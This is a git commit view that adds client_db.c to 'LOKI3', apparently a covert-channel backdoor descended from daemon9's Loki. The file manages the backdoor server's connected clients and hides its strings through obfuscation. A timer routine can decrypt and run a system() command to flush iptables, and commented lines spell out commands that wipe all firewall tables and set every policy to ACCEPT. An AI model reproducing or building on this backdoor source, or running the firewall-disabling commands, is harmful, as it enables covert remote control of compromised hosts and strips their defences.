diff options
| author | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
|---|---|---|
| committer | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
| commit | eeac69b2168c5a65f9608771006ccc43033cbd23 (patch) | |
| tree | 1dc44a6016b607085a691768810d551045df9901 /client_db.c | |
Diffstat (limited to 'client_db.c')
| -rw-r--r-- | client_db.c | 279 |
1 files changed, 279 insertions, 0 deletions
diff --git a/client_db.c b/client_db.c new file mode 100644 index 0000000..0a3143e --- /dev/null +++ b/client_db.c @@ -0,0 +1,279 @@ +/* + * LOKI3 + * + * [ client_db.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "shm.h" +#include "client_db.h" + +extern struct loki rdg; +extern int verbose; +extern int destroy_shm; +extern struct client_list *client; +extern uint16_t c_id; + +/* + * Obfuscated strings + */ +extern estring S_MSG_SIGALRM; +extern estring S_MSG_EXPIRED_CLIENT; +extern estring S_MSG_CLIENT_DB_FULL; +extern estring S_CMD_FLUSH_IPTABLES; +extern estring S_STAT_VERSION; +extern estring S_STAT_INTERFACE; +extern estring S_STAT_TRANSPORT; +extern estring S_STAT_CRYPTO; +extern estring S_STAT_UPTIME; +extern estring S_STAT_CLIENT_ID; +extern estring S_STAT_PACKETS_WRITTEN; +extern estring S_STAT_BYTES_WRITTEN; +extern estring S_STAT_REQUESTS; + +/* + * The server maintains an array of active client information. This + * function simply steps through the structure array and attempts to add + * an entry. + */ +int add_client(uint8_t *key) { + int i = 0, emptyslot = -1; + + locks(); + + for (; i < MAX_CLIENT; i++) { + /* Check for duplicate entries */ + if (IS_GOOD_CLIENT(rdg)) { + emptyslot = i; + break; + } + + /* tag the first empty slot found */ + if ((!(client[i].client_id))) { + emptyslot = i; + } + } + + if (emptyslot == -1) { /* No empty array slots */ + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_CLIENT_DB_FULL); + fprintf(stderr, "%s", dbuf); + destroy(dbuf, S_MSG_CLIENT_DB_FULL.size); + } + + ulocks(); + + return NNOK; + } + + /* Initialize array with client info */ + client[emptyslot].touchtime = time((time_t *)NULL); + + if (emptyslot != i) { + client[emptyslot].client_id = c_id; + client[emptyslot].client_ip = rdg.iph.ip_src; + client[emptyslot].packets_sent = 0; + client[emptyslot].bytes_sent = 0; + client[emptyslot].hits = 0; + } + + ulocks(); + + return emptyslot; +} + + +/* + * Look for a client entry in the client database. Either copy the clients + * key into user_key and update timestamp, or clear the array entry, + * depending on the disposition of the call. + */ +int locate_client(int disposition) { + locks(); + for (int i = 0; i < MAX_CLIENT; i++) { + if (IS_GOOD_CLIENT(rdg)) { + if (disposition == FIND) { /* update timestamp */ + client[i].touchtime = time((time_t *)NULL); + } + + /* Remove entry */ + else if (disposition == DESTROY) { + bzero(&client[i], sizeof(client[i])); + } + ulocks(); + return i; + } + } + ulocks(); /* Didn't find the client */ + return NNOK; +} + + +/* + * Fill a string with current stats about a particular client. + */ +int stat_client(int entry, uint8_t *buf, int prot, time_t uptime) { + int n = 0; + time_t now = 0; + struct protoent *proto = 0; + char *dbuf; + + + /* locate_client didn't find an entry */ + if (entry == NNOK) { +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tstat_client nono\n"); +#endif /* DEBUG */ + return NOK; + } + + dbuf = decrypt(S_STAT_VERSION); + n = sprintf((char *)buf, dbuf, VERSION); + destroy(dbuf, S_STAT_VERSION.size); + + dbuf = decrypt(S_STAT_INTERFACE); + n += sprintf((char *)&buf[n], dbuf, host_lookup(rdg.iph.ip_dst)); + destroy(dbuf, S_STAT_INTERFACE.size); + + proto = getprotobynumber(prot); + dbuf = decrypt(S_STAT_TRANSPORT); + n += sprintf((char *)&buf[n], dbuf, proto -> p_name); + destroy(dbuf, S_STAT_TRANSPORT.size); + + dbuf = decrypt(S_STAT_CRYPTO); + n += sprintf((char *)&buf[n], dbuf, CRYPTO_TYPE); + destroy(dbuf, S_STAT_CRYPTO.size); + + time(&now); + dbuf = decrypt(S_STAT_UPTIME); + n += sprintf((char *)&buf[n], dbuf, difftime(now, uptime) / 0x3c); + destroy(dbuf, S_STAT_UPTIME.size); + + locks(); + + dbuf = decrypt(S_STAT_CLIENT_ID); + n += sprintf((char *)&buf[n], dbuf, client[entry].client_id); + destroy(dbuf, S_STAT_CLIENT_ID.size); + + dbuf = decrypt(S_STAT_PACKETS_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].packets_sent); + destroy(dbuf, S_STAT_PACKETS_WRITTEN.size); + + dbuf = decrypt(S_STAT_BYTES_WRITTEN); + n += sprintf((char *)&buf[n], dbuf, client[entry].bytes_sent); + destroy(dbuf, S_STAT_BYTES_WRITTEN.size); + + dbuf = decrypt(S_STAT_REQUESTS); + n += sprintf((char *)&buf[n], dbuf, client[entry].hits); + destroy(dbuf, S_STAT_REQUESTS.size); + + ulocks(); + + return n; +} + +/* + * Unsets alarm timer, then calls age_client, then resets signal handler + * and alarm timer. + */ +void client_expiry_check() { + alarm(0); + age_client(); + +#ifdef FLUSH_IPTABLES + /* Flush iptables */ +#ifdef DEBUG + fprintf(stderr, "[DEBUG]\tflushing iptables\n"); +#endif /* DEBUG */ + char *dbuf; + dbuf = decrypt(S_CMD_FLUSH_IPTABLES); + system(dbuf); + destroy(dbuf, S_CMD_FLUSH_IPTABLES.size); + /* system("PATH=/sbin:/usr/sbin iptables -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null"); */ + /* system("PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); */ +#endif /* FLUSH_IPTABLES */ + + /* re-establish signal handler */ + if (signal(SIGALRM, client_expiry_check) == SIG_ERR) { + err_exit(1, 1, verbose, decrypt(S_MSG_SIGALRM)); + } + + alarm(KEY_TIMER); +} + + +/* + * This function is called every KEY_TIMER interval to sweep through the + * client list. It zeros any entrys it finds that have not been accessed + * in KEY_TIMER seconds. This gives us a way to free up entries from clients + * which may have crashed or lost their QUIT_C packet in transit. + */ +void age_client() { + time_t timestamp = 0; + + time(×tamp); + locks(); + + for (int i = 0; i < MAX_CLIENT; i++) { + if (client[i].client_id) { + if (difftime(timestamp, client[i].touchtime) > KEY_TIMER) { + if (verbose) { + char *dbuf; + dbuf = decrypt(S_MSG_EXPIRED_CLIENT); + fprintf(stderr, dbuf, client[i].client_id, i); + destroy(dbuf, S_MSG_EXPIRED_CLIENT.size); + } + + bzero(&client[i], sizeof(client[i])); + } + } + } + + ulocks(); +} + + +/* + * Update the statistics for client. + */ +void update_client(int entry, int pcount, uint32_t bcount) { + locks(); + + client[entry].touchtime = time((time_t *)NULL); + client[entry].packets_sent += pcount; + client[entry].bytes_sent += bcount; + client[entry].hits ++; + + ulocks(); +} + + +/* + * Returns the IP address and ID of the targeted entry + */ +uint32_t check_client_ip(int entry, uint16_t *id) { + uint32_t ip = 0; + + locks(); + + if ((*id = (client[entry].client_id))) { + ip = client[entry].client_ip; + } + + ulocks(); + + return ip; +} +/* EOF */ |
